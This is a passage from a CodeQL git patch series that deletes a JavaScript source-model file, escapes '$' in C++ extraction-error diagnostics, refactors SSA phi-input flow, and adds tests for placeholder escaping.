deletions(-) delete mode 100644 javascript/ql/lib/ext/guarded-route-handler-stress-test.model.yml diff --git a/javascript/ql/lib/ext/guarded-route-handler-stress-test.model.yml b/javascript/ql/lib/ext/guarded-route-handler-stress-test.model.yml deleted file mode 100644 index 3c79088d1c1..00000000000 --- a/javascript/ql/lib/ext/guarded-route-handler-stress-test.model.yml +++ /dev/null @@ -1,6 +0,0 @@ -extensions: - - addsTo: - pack: codeql/javascript-all - extensible: sourceModel - data: - - ["passport", "AnyMember.ReturnValue.GuardedRouteHandler.Parameter[0].Member[user]", "remote"] From 5727c9137fc2cfdd313e43803f0744361d3fbe31 Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Fri, 28 Mar 2025 10:51:11 +0100 Subject: [PATCH 119/121] C++: Escape any `$` - specifically in `$@` - coming from error messages --- cpp/ql/src/Diagnostics/ExtractionWarnings.ql | 4 ++-- cpp/ql/src/Diagnostics/Internal/ExtractionErrors.ql | 5 +++-- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/cpp/ql/src/Diagnostics/ExtractionWarnings.ql b/cpp/ql/src/Diagnostics/ExtractionWarnings.ql index dcfb599bbeb..f32768734ca 100644 --- a/cpp/ql/src/Diagnostics/ExtractionWarnings.ql +++ b/cpp/ql/src/Diagnostics/ExtractionWarnings.ql @@ -14,5 +14,5 @@ where or warning instanceof ExtractionUnknownProblem select warning, - "Extraction failed in " + warning.getFile() + " with warning " + warning.getProblemMessage(), - warning.getSeverity() + "Extraction failed in " + warning.getFile() + " with warning " + + warning.getProblemMessage().replaceAll("$", "$$"), warning.getSeverity() diff --git a/cpp/ql/src/Diagnostics/Internal/ExtractionErrors.ql b/cpp/ql/src/Diagnostics/Internal/ExtractionErrors.ql index c7eac620b3b..9da14fbfb46 100644 --- a/cpp/ql/src/Diagnostics/Internal/ExtractionErrors.ql +++ b/cpp/ql/src/Diagnostics/Internal/ExtractionErrors.ql @@ -17,5 +17,6 @@ from ExtractionError error where error instanceof ExtractionUnknownError or exists(error.getFile().getRelativePath()) -select error, "Extraction failed in " + error.getFile() + " with error " + error.getErrorMessage(), - error.getSeverity() +select error, + "Extraction failed in " + error.getFile() + " with error " + + error.getErrorMessage().replaceAll("$", "$$"), error.getSeverity() From c6cee489e4b93542d1a2651dffe54148b6baa042 Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Fri, 28 Mar 2025 10:53:03 +0100 Subject: [PATCH 120/121] SSA: Address review comments. --- shared/ssa/codeql/ssa/Ssa.qll | 39 +++++++++++++++++++++++++++-------- 1 file changed, 30 insertions(+), 9 deletions(-) diff --git a/shared/ssa/codeql/ssa/Ssa.qll b/shared/ssa/codeql/ssa/Ssa.qll index 644566a8169..47578bee7b9 100644 --- a/shared/ssa/codeql/ssa/Ssa.qll +++ b/shared/ssa/codeql/ssa/Ssa.qll @@ -1568,6 +1568,11 @@ module Make Input> { /** * Holds if the input to `phi` from the block `input` might be relevant for * barrier guards as a separately synthesized `TSsaInputNode`. + * + * Note that `TSsaInputNode`s have both unique predecessors and unique + * successors, both of which are given by `adjacentRefPhi`, so we can + * always skip them in the flow graph without increasing the number of flow + * edges, if they are not needed for barrier guards. */ private predicate relevantPhiInputNode(SsaPhiExt phi, BasicBlock input) { relevantBackEdge(phi, input) @@ -1576,8 +1581,23 @@ module Make Input> { // If the input isn't explicitly read then a guard cannot check it. exists(DfInput::getARead(getAPhiInputDef(phi, input))) and ( + // The input node is relevant either if it sits directly on a branch + // edge for a guard, exists(DfInput::Guard g | g.controlsBranchEdge(input, phi.getBasicBlock(), _)) or + // or if the unique predecessor is not an equivalent substitute in + // terms of being controlled by the same guards. + // Example: + // ``` + // if (g1) { + // use(x); // A + // if (g2) { .. } + // // no need for an input node here, as the set of guards controlling + // // this block is the same as the set of guards controlling the prior + // // use of `x` at A. + // } + // // phi-read node for `x` + // ``` exists(BasicBlock prev | AdjacentSsaRefs::adjacentRefPhi(prev, _, input, phi.getBasicBlock(), phi.getSourceVariable()) and @@ -1937,13 +1957,17 @@ module Make Input> { | if relevantPhiInputNode(phi, input) then nodeTo = TSsaInputNode(phi, input) - else - if phiHasUniqNextNode(phi) - then flowFromRefToNode(v, bbPhi, -1, nodeTo) - else nodeTo.(SsaDefinitionExtNodeImpl).getDefExt() = phi + else flowIntoPhi(phi, v, bbPhi, nodeTo) ) } + private predicate flowIntoPhi(DefinitionExt phi, SourceVariable v, BasicBlock bbPhi, Node nodeTo) { + phi.definesAt(v, bbPhi, -1, _) and + if phiHasUniqNextNode(phi) + then flowFromRefToNode(v, bbPhi, -1, nodeTo) + else nodeTo.(SsaDefinitionExtNodeImpl).getDefExt() = phi + } + /** * Holds if there is a local flow step from `nodeFrom` to `nodeTo`. * @@ -1977,14 +2001,11 @@ module Make Input> { ) or // Flow from input node to def - exists(DefinitionExt phi, BasicBlock bbPhi | + exists(DefinitionExt phi | phi = nodeFrom.(SsaInputNodeImpl).getPhi() and - phi.definesAt(v, bbPhi, _, _) and isUseStep = false and nodeFrom != nodeTo and - if phiHasUniqNextNode(phi) - then flowFromRefToNode(v, bbPhi, -1, nodeTo) - else nodeTo.(SsaDefinitionExtNodeImpl).getDefExt() = phi + flowIntoPhi(phi, v, _, nodeTo) ) } From 8dbd81b2966eb047ac33a06c7f0df6d6e5f899b7 Mon Sep 17 00:00:00 2001 From: Jeroen Ketema Date: Fri, 28 Mar 2025 10:57:23 +0100 Subject: [PATCH 121/121] C++: Add test for $` escaping --- .../test/query-tests/Diagnostics/ExtractionErrors.expected | 1 + .../test/query-tests/Diagnostics/ExtractionWarnings.expected | 1 + cpp/ql/test/query-tests/Diagnostics/Info.expected | 2 +- cpp/ql/test/query-tests/Diagnostics/containserror.cpp | 5 +++++ 4 files changed, 8 insertions(+), 1 deletion(-) diff --git a/cpp/ql/test/query-tests/Diagnostics/ExtractionErrors.expected b/cpp/ql/test/query-tests/Diagnostics/ExtractionErrors.expected index f7d1b79cd17..1fa54609422 100644 --- a/cpp/ql/test/query-tests/Diagnostics/ExtractionErrors.expected +++ b/cpp/ql/test/query-tests/Diagnostics/ExtractionErrors.expected @@ -1,2 +1,3 @@ +| containserror.cpp:9:14:9:14 | Recoverable extraction error: 'x' has already been declared in the current scope | Extraction failed in containserror.cpp with error "containserror.cpp", line 9: error: "x" has already been declared in the current scope\n \tconst char *x = "Foo2 $$@ bar2 $$@ baz2";\n \t ^\n\n | 2 | | doesnotcompile.cpp:4:2:4:2 | Recoverable extraction error: identifier 'This' is undefined | Extraction failed in doesnotcompile.cpp with error "doesnotcompile.cpp", line 4: error: identifier "This" is undefined\n \tThis is not correct C/C++ code.\n \t^\n\n | 2 | | doesnotcompile.cpp:4:10:4:10 | Recoverable extraction error: expected a ';' | Extraction failed in doesnotcompile.cpp with error "doesnotcompile.cpp", line 4: error: expected a ";"\n \tThis is not correct C/C++ code.\n \t ^\n\n | 2 | diff --git a/cpp/ql/test/query-tests/Diagnostics/ExtractionWarnings.expected b/cpp/ql/test/query-tests/Diagnostics/ExtractionWarnings.expected index 69cba1e1420..2393f4dbde0 100644 --- a/cpp/ql/test/query-tests/Diagnostics/ExtractionWarnings.expected +++ b/cpp/ql/test/query-tests/Diagnostics/ExtractionWarnings.expected @@ -1,2 +1,3 @@ +| containserror.cpp:9:14:9:14 | Recoverable extraction error: 'x' has already been declared in the current scope | Extraction failed in containserror.cpp with warning "containserror.cpp", line 9: error: "x" has already been declared in the current scope\n \tconst char *x = "Foo2 $$@ bar2 $$@ baz2";\n \t ^\n\n | 1 | | doesnotcompile.cpp:4:2:4:2 | Recoverable extraction error: identifier 'This' is undefined | Extraction failed in doesnotcompile.cpp with warning "doesnotcompile.cpp", line 4: error: identifier "This" is undefined\n \tThis is not correct C/C++ code.\n \t^\n\n | 1 | | doesnotcompile.cpp:4:10:4:10 | Recoverable extraction error: expected a ';' | Extraction failed in doesnotcompile.cpp with warning "doesnotcompile.cpp", line 4: error: expected a ";"\n \tThis is not correct C/C++ code.\n \t ^\n\n | 1 | diff --git a/cpp/ql/test/query-tests/Diagnostics/Info.expected b/cpp/ql/test/query-tests/Diagnostics/Info.expected index a3254130360..77a298109d6 100644 --- a/cpp/ql/test/query-tests/Diagnostics/Info.expected +++ b/cpp/ql/test/query-tests/Diagnostics/Info.expected @@ -1,4 +1,4 @@ -| containserror.cpp:0:0:0:0 | containserror.cpp | containserror.cpp | fromSource, normalTermination | +| containserror.cpp:0:0:0:0 | containserror.cpp | containserror.cpp | ExtractionProblem (severity 1), fromSource, normalTermination | | containswarning.cpp:0:0:0:0 | containswarning.cpp | containswarning.cpp | fromSource, normalTermination | | doesnotcompile.cpp:0:0:0:0 | doesnotcompile.cpp | doesnotcompile.cpp | ExtractionProblem (severity 1), fromSource, normalTermination | | file://:0:0:0:0 | | | | diff --git a/cpp/ql/test/query-tests/Diagnostics/containserror.cpp b/cpp/ql/test/query-tests/Diagnostics/containserror.cpp index 175fcc579f1..63e11dfe64f 100644 --- a/cpp/ql/test/query-tests/Diagnostics/containserror.cpp +++ b/cpp/ql/test/query-tests/Diagnostics/containserror.cpp @@ -3,3 +3,8 @@ void containserror() { #error An error! } + +void error_with_placeholder() { + const char *x = "Foo1 $@ bar1 $@ baz1"; + const char *x = "Foo2 $@ bar2 $@ baz2"; +} \ No newline at end of file